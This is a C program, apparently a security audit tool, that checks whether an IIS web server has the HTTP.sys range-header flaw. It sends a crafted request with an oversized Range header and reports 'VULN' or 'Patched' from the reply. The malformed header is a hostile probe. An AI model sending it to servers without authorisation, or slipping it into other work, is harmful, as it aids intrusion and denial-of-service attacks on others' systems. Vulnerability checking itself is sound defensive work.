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#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;
struct sockaddr_in serv_addr;
struct hostent *server;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}
return sockfd;
}
int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];
char request[] = "GET / HTTP/1.0\r\n\r\n";
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}
printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}
sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");
}
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